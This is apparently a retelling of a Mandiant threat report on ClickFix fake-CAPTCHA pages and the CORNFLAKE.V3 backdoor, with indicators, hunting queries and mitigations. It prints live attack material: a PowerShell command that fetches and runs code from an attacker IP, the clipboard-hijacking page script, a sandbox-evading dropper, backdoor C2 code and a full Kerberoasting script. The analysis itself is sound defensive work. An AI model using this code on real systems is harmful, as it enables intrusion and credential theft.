Confirm You're Not a Robot — Get a Backdoor: A New Trick to Seize Your Windows

Disguised as reCAPTCHA, a new ClickFix pushes PowerShell commands directly to the clipboard.

Disguised as reCAPTCHA, a new ClickFix pushes PowerShell commands directly to the clipboard.
Mandiant Threat Defense has released a new issue of its Frontline Bulletin series, detailing a cross-cutting incident involving two groups—UNC5518 and UNC5774. The first compromises legitimate websites and replaces CAPTCHA check pages with "ClickFix" traps, forcing visitors to run commands in Windows Run. The second uses the access gained this way to deploy the multifunctional malicious program CORNFLAKE.V3. Episodes involving the UNC4108 cluster, which used PowerShell, VOLTMARKER, and NetSupport RAT for reconnaissance, were also recorded.
The CORNFLAKE family has evolved from a simple C-based loader to a JavaScript/PHP backdoor communicating with its Command and Control (C2) server over HTTP with XOR-encoded traffic, supporting persistence and an extended set of "payloads" (commands/files).
| Malware | Language | Type | C2 Communication | Supported Payloads | Persistence |
|---|---|---|---|---|---|
| CORNFLAKE (first version) | C | Loader | TCP socket (XOR) | DLL | No |
| CORNFLAKE.V2 | JavaScript | Loader | HTTP (XOR) | DLL, EXE, JS, BAT | No |
| CORNFLAKE.V3 | JS or PHP | Backdoor | HTTP (XOR); seen proxied via Cloudflare Tunnels | DLL, EXE, JS, BAT, PS | Yes (Run registry key) |
Download
Name: a
Value: powershell -w h -c
"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex"
Such commands are characteristic of "ClickFix": a user lands on a page (often via SEO-poisoned search results or ads) and clicks on the "captcha," after which a script silently copies the command to the clipboard and asks to paste it into the Run window.
Example of a malicious decoy page (clicking the image copies the command):
Run
// Display "captcha"
<div class="c" id="j">
<img src="https://www.gstatic[.]com/recaptcha/api2/logo_48.png" alt="reCAPTCHA Logo">
<span>I'm not a robot</span>
</div>
// The actual PowerShell command — in variable _0xC
var _0xC = "powershell -w h -c
\"$u=[int64](([datetime]::UtcNow-[datetime]'1970-1-1').TotalSeconds)-band
0xfffffffffffffff0;irm 138.199.161[.]141:8080/$u|iex\"";
// Copy to clipboard on click
document.getElementById("j").onclick = function(){
var ta = document.createElement("textarea");
ta.value = _0xC;
document.body.appendChild(ta);
ta.select();
document.execCommand("copy");
}
PowerShell makes an HTTP GET request like:
GET /1742214432 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.5486
Host: 138.199.161[.]141:8080
Connection: Keep-Alive
Next, a PowerShell dropper with sandbox/VM checks and Node.js download executes. Below is an abbreviated sample (similar in function to the script at /1742214432), showing QEMU detection, memory thresholds, name pattern, Node.js download, decoding of the embedded CORNFLAKE.V3, and execution via node.exe -e:
powershell
# Exit if QEMU
$Manufacturer = Get-WmiObject Win32_ComputerSystem | Select-Object -ExpandProperty Manufacturer
if ($Manufacturer -eq "QEMU") { exit 0 }
# Memory threshold
$TotalMemoryGb = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory / 1GB
$AvailableMemoryGb = (Get-CimInstance Win32_OperatingSystem).FreePhysicalMemory / 1MB
$UsedMemoryGb = $TotalMemoryGb - $AvailableMemoryGb
if ($TotalMemoryGb -lt 4 -or $UsedMemoryGb -lt 1.5) { exit 0 }
# Name pattern
if ($env:COMPUTERNAME -match "DESKTOP-S*") { exit 0 }
sleep 1
# Download Node.js and extract to %APPDATA%
$ZipURL = "hxxps://nodejs[.]org/dist/v22.11.0/node-v22.11.0-win-x64.zip"
$DestinationFolder = [System.IO.Path]::Combine($env:APPDATA, "")
$ZipFile = [System.IO.Path]::Combine($env:TEMP, "downloaded.zip")
iwr -Uri $ZipURL -OutFile $ZipFile
try {
$Shell = New-Object -ComObject Shell.Application
$ZIP = $Shell.NameSpace($ZipFile)
$Destination = $Shell.NameSpace($DestinationFolder)
$Destination.CopyHere($ZIP.Items(), 20)
} catch { exit 0 }
$DestinationFolder = [System.IO.Path]::Combine($DestinationFolder, "node-v22.11.0-win-x64")
# Embedded Base64 blob with CORNFLAKE.V3 (Node.js)
$BASE64STRING = <Base-64 encoded CORNFLAKE.V3 sample>
$BINARYDATA = [Convert]::FromBase64String($BASE64STRING)
$StringData = [System.Text.Encoding]::UTF8.GetString($BINARYDATA)
# Launch node.exe with -e
$Node = [System.IO.Path]::Combine($DestinationFolder, "node.exe")
start-process -FilePath "$Node" -ArgumentList "-e `"$StringData`"" -WindowStyle Hidden
On the network, a DNS query to nodejs[.]org and download of the archive downloaded.zip (SHA-256: 905373a059aecaf7f48c1ce10ffbd5334457ca00f678747f19db5ea7d256c236) were observed, followed by extraction to %APPDATA%\node-v22.11.0-win-x64\. The backdoor was launched with the command node.exe -e "<JS code CORNFLAKE.V3>".
The process tree looked like this:
explorer.exe
↳ c:\windows\system32\windowspowershell\v1.0\powershell.exe -w h -c "<Run command>"
↳ %APPDATA%\node-v22.11.0-win-x64\node.exe -e "{CORNFLAKE.V3}"
↳ powershell.exe -c "{Initial check and System Information Collection}"
↳ ARP.EXE -a
↳ chcp.com 65001
↳ systeminfo.exe
↳ tasklist.exe /svc
↳ cmd.exe /d /s /c "wmic process where processid=<pid> get commandline"
↳ cmd.exe /d /s /c "{Kerberoasting}"
↳ cmd.exe /d /s /c "{AD Recon}"
↳ cmd.exe /d /s /c "reg add {ChromeUpdater as Persistence}"
Analysis of CORNFLAKE.V3 (Node.js variant)
The sample was not obfuscated, allowing for static analysis. On start, it checks arguments to ensure a single instance (forks into a child process with an additional argument "1", the parent exits):
if (process.argv[1] !== undefined && process.argv[2] === undefined) {
const child = spawn(process.argv[0], [process.argv[1], '1'], {
detached: true, stdio: 'ignore', windowsHide: true,
});
child.unref();
process.exit(0);
}
Next, it collects system information via PowerShell (version, privilege level, systeminfo, tasklist /svc, list of services, disks, ARP):
let cmd = execSync('chcp 65001 > $null 2>&1 ; echo \'version: ' + ver +
'\' ; if ([Security.Principal.WindowsIdentity]::GetCurrent().Name -match
'(?i)SYSTEM') { \'Runas: System\' } elseif (([Security.Principal.WindowsPrincipal]
[Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole
([Security.Principal.WindowsBuiltInRole]::Administrator)) { \'Runas: Admin\' }
else { \'Runas: User\' } ; systeminfo ; echo \'=-=-=-=-=-\' ; tasklist /svc ; echo
\'=-=-=-=-=-\' ; Get-Service | Select-Object Name, DisplayName | Format-List ; echo
\'=-=-=-=-=-\' ; Get-PSDrive -PSProvider FileSystem | Format-Table -AutoSize ; echo
\'=-=-=-=-=-\' ; arp -a', { encoding: 'utf-8', shell: 'powershell.exe', windowsHide: true });
C2 initialization relies on lists of domain names and IPs; if the name fails, an attempt is made via IP, delays are regulated:
// C2 Hosts
const hosts = ['159.69.3[.]151'];
const hostsIp = ['159.69.3[.]151'];
let useIp = 0;
let delay = 1;
async function mainloop() {
let toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length];
let toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length];
while (true) {
await new Promise((r) => setTimeout(r, delay));
try {
if (useIp < 200) { await main(toHost, PORT_IP); useIp = 0; }
else {
await main(toIp, PORT_IP);
useIp++;
if (useIp >= 210) useIp = 0;
}
} catch (e) {
toHost = hosts[Math.floor(Math.random() * 1000) % hosts.length];
toIp = hostsIp[Math.floor(Math.random() * 1000) % hostsIp.length];
useIp++; delay = 1000 * 10; continue;
}
delay = 1000 * 60 * 5;
}
}
The initial POST goes to /init1234 with an XOR-encrypted body. Responses are interpreted as follows: ooff — process termination; atst — persistence function (Run key). Upon receiving other data, the content is treated as a "payload," its type determined by the last byte.
| Code | Type | Action |
|---|---|---|
| 0 | EXE | Save to %APPDATA%\<rand8>\<rand8>.exe and execute |
| 1 | DLL | Save to %APPDATA%\<rand8>\<rand8>.dll, execute via rundll32.exe |
| 2 | JS | Execute in memory as an argument to node.exe |
| 3 | CMD | Run the string in cmd.exe; output is saved and sent to C2 |
| 4 | Other | Write to %APPDATA%\<rand8>\<rand8>.log |
The atst function creates a Run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater. The command line of the current node.exe is extracted via wmic: if the process was launched with -e, the embedded JS text is saved to <rand8>.log in the Node.js directory, and the path is placed in the Run key; if the file was run directly, its path is placed in the Run key.
Observed Payloads
- AD Domain Reconnaissance: Checking domain membership, counting "computer" objects; whoami /all; nltest /domain_trusts; nltest /dclist:<domain>; SPN query: setspn -T <UserDomain> -Q */* with filtering; if no domain, enumerating local groups and their members.
- Kerberoasting: Selecting accounts with SPN, requesting TGS, and formatting hashes for subsequent cracking. Below is a fragment of the PowerShell script:
$a = 'System.IdentityModel';
$b = [Reflection.Assembly]::LoadWithPartialName($a);
$c = New-Object DirectoryServices.DirectorySearcher([ADSI]'');
$c.filter = '(&(servicePrincipalName=*)(objectCategory=user))';
$d = $c.Findall();
foreach($e in $d) {
$f = $e.GetDirectoryEntry();
$g = $f.samAccountName;
if ($g -ne 'krbtgt') {
Start-Sleep -Seconds (Get-Random -Minimum 1 -Maximum 11);
foreach($h in $f.servicePrincipalName) {
$i = $null;
try { $i = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $h; } catch {}
if ($i -ne $null) {
$j = $i.GetRequest();
if ($j) {
$k = [System.BitConverter]::ToString($j) -replace '-';
[System.Collections.ArrayList]$l = ($k -replace '^(.*?)04820...(.*)', '$2') -split 'A48201';
$l.RemoveAt($l.Count - 1);
$m = $l -join 'A48201';
try {
$m = $m.Insert(32, '$');
$n = '$krb5tgs$23$*' + $g + '/' + $h + '*$' + $m;
Write-Host $n; break;
} catch {}
}
}
}
}
}
PHP variant CORNFLAKE.V3
A new PHP variant was discovered: an in-memory script (a consequence of ClickFix) downloads php.zip from windows.php[.]net, unpacks it to C:\Users\<User>\AppData\Roaming\php\, places the sample itself in config.cfg, and runs:
"C:\\Users<User>\\AppData\\Roaming\\php\\php.exe" -d extension=zip -d
extension_dir=ext C:\Users<User>\AppData\Roaming\php\config.cfg 1
Persistence is built on a Run key with an arbitrary name (not "ChromeUpdater"). A dynamic path is used for communication, e.g.:
POST /ue/2&290cd148ed2f4995f099b7370437509b/fTqvlt HTTP/1.1
Host: varying-rentals-calgary-predict.trycloudflare[.]com
Connection: close
Content-Length: 39185
Content-type: application/octet-stream
Payload types in the PHP version are partially redefined; commands ACTIVE (activity counter) and AUTORUN (create Run key) were added. Extensions .png/.jpg are used to mask libraries and JS scripts.
| Code | Type | Notes |
|---|---|---|
| 0 | EXE | Save to %APPDATA%\<rand8>\<rand8>.exe, run hidden via PowerShell |
| 1 | DLL | Save as .png, run via rundll32.exe |
| 2 | JS | Save as .jpg; if Node.js is absent, attempt to download node-v21.7.3-win-x64.zip from nodejs[.]org |
| 3 | CMD | Execute string via cmd.exe or powershell.exe |
| 4 | ACTIVE | Send active_cnt to C2 |
| 5 | AUTORUN | Create Run key for auto-starting PHP script |
| 6 | OFF | Shutdown (exit(0)) |
| — | Other | Save to .txt in %APPDATA% |
Process tree of the PHP variant:
explorer.exe
↳ powershell.exe "-c irm dnsmicrosoftds-data[.]com/log/out | clip;
& ([scriptblock]::Create((Get-Clipboard) -join (""+[System.Environment]::NewLine)))"
↳ clip.exe
↳ powershell.exe "-w H -c irm windows-msg-as[.]live/qwV1jxQ"
↳ systeminfo.exe
↳ C:\Users\<user>\AppData\Roaming\php\php.exe
"-d extension=zip -d extension_dir=ext C:\Users\<user>\AppData\Roaming\php\config.cfg 1 {CORNFLAKE.V3}"
↳ cmd.exe /s /c "powershell -c {host reconnaissance commands}"
↳ cmd.exe /s /c "reg add HKCU\...\Run /v "random_appdata_dirname" /t REG_SZ /d "\"<php_binary_path>\" \"<script_path>\"" /f"
↳ rundll32.exe "{WINDYTWIST.SEA}" start
Observed Tactics
- Host and AD domain reconnaissance; Kerberoasting attempts;
- Persistence via Run keys (Node.js: ChromeUpdater; PHP: random name in %APPDATA%/%LOCALAPPDATA%);
- Proxying C2 traffic through Cloudflare Tunnels (subdomain trycloudflare);
- Masking libraries as images (.png/.jpg);
- Sandbox evasion: manufacturer checks, memory volume/usage, name patterns.
Host Artifacts
| Artifact | Description | SHA-256 |
|---|---|---|
| %APPDATA%\node-v22.11.0-win-x64\ckw8ua56.log | Copy of CORNFLAKE.V3 (Node.js) for autostart | 000b24076cae8dbb00b46bb59188a0da5a940e325eaac7d86854006ec071ac5b |
| HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater | CORNFLAKE.V3 (Node.js) autostart key | N/A |
| %APPDATA%\php\config.cfg | CORNFLAKE.V3 (PHP) | a2d4e8c3094c959e144f46b16b40ed29cc4636b88616615b69979f0a44f9a2d1 |
| HKCU\Software\Microsoft\Windows\CurrentVersion\Run\iCube | CORNFLAKE.V3 (PHP) autostart key | N/A |
| %APPDATA%\Shift194340\78G0ZrQi.png | WINDYTWIST.SEA (DLL disguised as .png) | 14f9fbbf7e82888bdc9c314872bf0509835a464d1f03cd8e1a629d0c4d268b0c |
| Address/Domain | Purpose |
|---|---|
| 138.199.161[.]141 | UNC5518: Delivery of loaders/scripts (Node.js campaign) |
| 159.69.3[.]151 | CORNFLAKE.V3 C2 (UNC5774) |
| varying-rentals-calgary-predict.trycloudflare[.]com | CORNFLAKE.V3 C2 (PHP variant; Cloudflare Tunnels) |
| dnsmicrosoftds-data[.]com, windows-msg-as[.]live | UNC5518: Script delivery for PHP branch |
| 167.235.235[.]151, 128.140.120[.]188, 177.136.225[.]135 | WINDYTWIST.SEA C2 |
Mandiant indicates the availability of rules in the Google SecOps Mandiant Frontline Threats set (rule names include, among others): Powershell Executing NodeJS, Powershell Writing To Appdata, Suspicious Clipboard Interaction, NodeJS Reverse Shell Execution, Download to the Windows Public User Directory via PowerShell, Run Utility Spawning Suspicious Process, WSH Startup Folder LNK Creation, Trycloudflare Tunnel Network Connections.
Hunting Queries (UDM)
Launch of CORNFLAKE.V3 — Node.js
metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /powershell\.exe/ nocase
target.process.file.full_path = /appdata\\roaming\\.*node\.exe/ nocase
target.process.command_line = /"?node\.exe"?\s*-e\s*"/ nocase
Launch of CORNFLAKE.V3 — PHP
metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /powershell\.exe/ nocase
target.process.file.full_path = /appdata\\roaming\\.*php\.exe/ nocase
target.process.command_line = /"?php\.exe"?\s*-d\s.*1$/ nocase
target.process.command_line != /\.php\s*\s*/ nocase
Child processes from node.exe/php.exe in %APPDATA%
metadata.event_type = "PROCESS_LAUNCH"
principal.process.file.full_path = /appdata\\roaming\\.*node\.exe|appdata\\roaming\\.*php\.exe/ nocase
target.process.file.full_path = /powershell\.exe|cmd\.exe/ nocase
Suspicious connections to Node.js/PHP domains
metadata.event_type = "NETWORK_CONNECTION"
principal.process.file.full_path = /powershell\.exe|mshta\.exe/ nocase
target.hostname = /nodejs\.org|windows\.php\.net/ nocase
Risk Mitigation and Conclusions
- Minimize ClickFix risk: Disable the Windows Run window if possible; train for social engineering scenarios.
- Detailed logging of PowerShell launches, Run key creation, access to %APPDATA%, downloads from nodejs.org/windows.php.net by system processes.
- Network policies: Monitor traffic to "trycloudflare" and atypical IPs/domains, correlate with powershell.exe/mshta.exe processes.
- Mitigate Kerberoasting: Restrictions on SPN accounts, privilege auditing, monitor anomalous TGS traffic.
- IOC hunting: The listed files/keys/addresses are a starting point for retrospective search.
Acknowledgments in the original report: Diana Ion, Yash Gupta, Rufus Brown, Mike Hunhoff, Genwei Jiang, Mon Liclican, Preston Lewis, Steve Sedotto, Elvis Miezitis, Rommel Joven.